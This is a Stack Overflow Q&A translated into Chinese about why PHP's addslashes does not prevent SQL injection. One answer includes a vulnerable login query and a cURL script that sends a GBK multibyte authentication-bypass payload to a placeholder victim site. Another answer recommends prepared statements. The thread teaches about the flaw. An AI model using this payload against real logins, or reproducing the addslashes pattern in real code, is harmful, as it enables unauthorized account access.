在PHP中,我知道mysql_real_escape
比使用addslashes
要安全得多。但是,我找不到addslashes
允许发生SQL注入的情况的示例。
谁能举几个例子?
发布于 2012-10-19 17:50:53
Chris Shiflett用下面的例子清楚地解释了,如果你在数据库中使用GBK编码时尝试一下,那当然会起作用。即使我尝试过,这也证明了,sql注入的机会是存在的,尽管机会很少,但有良好知识和能力的人可以很容易地注入。这里有一个例子..。
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
虽然使用addslashes()或magic_quotes_gpc通常被认为是安全的,但是使用GBK会使它们变得几乎无用。下面的PHP cURL脚本将能够利用注入,我希望这能帮助你更多的理解:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
发布于 2012-06-30 12:09:44
作为对这里答案的读者的补充:这个MySQL错误已经被修复:)
此外,使用准备好的语句始终是一种良好的实践。这是您可以触发查询的最无漏洞的方法(在一些用例中,性能最好)。这样你就不会有这个缺陷了。
https://stackoverflow.com/questions/860954
复制相似问题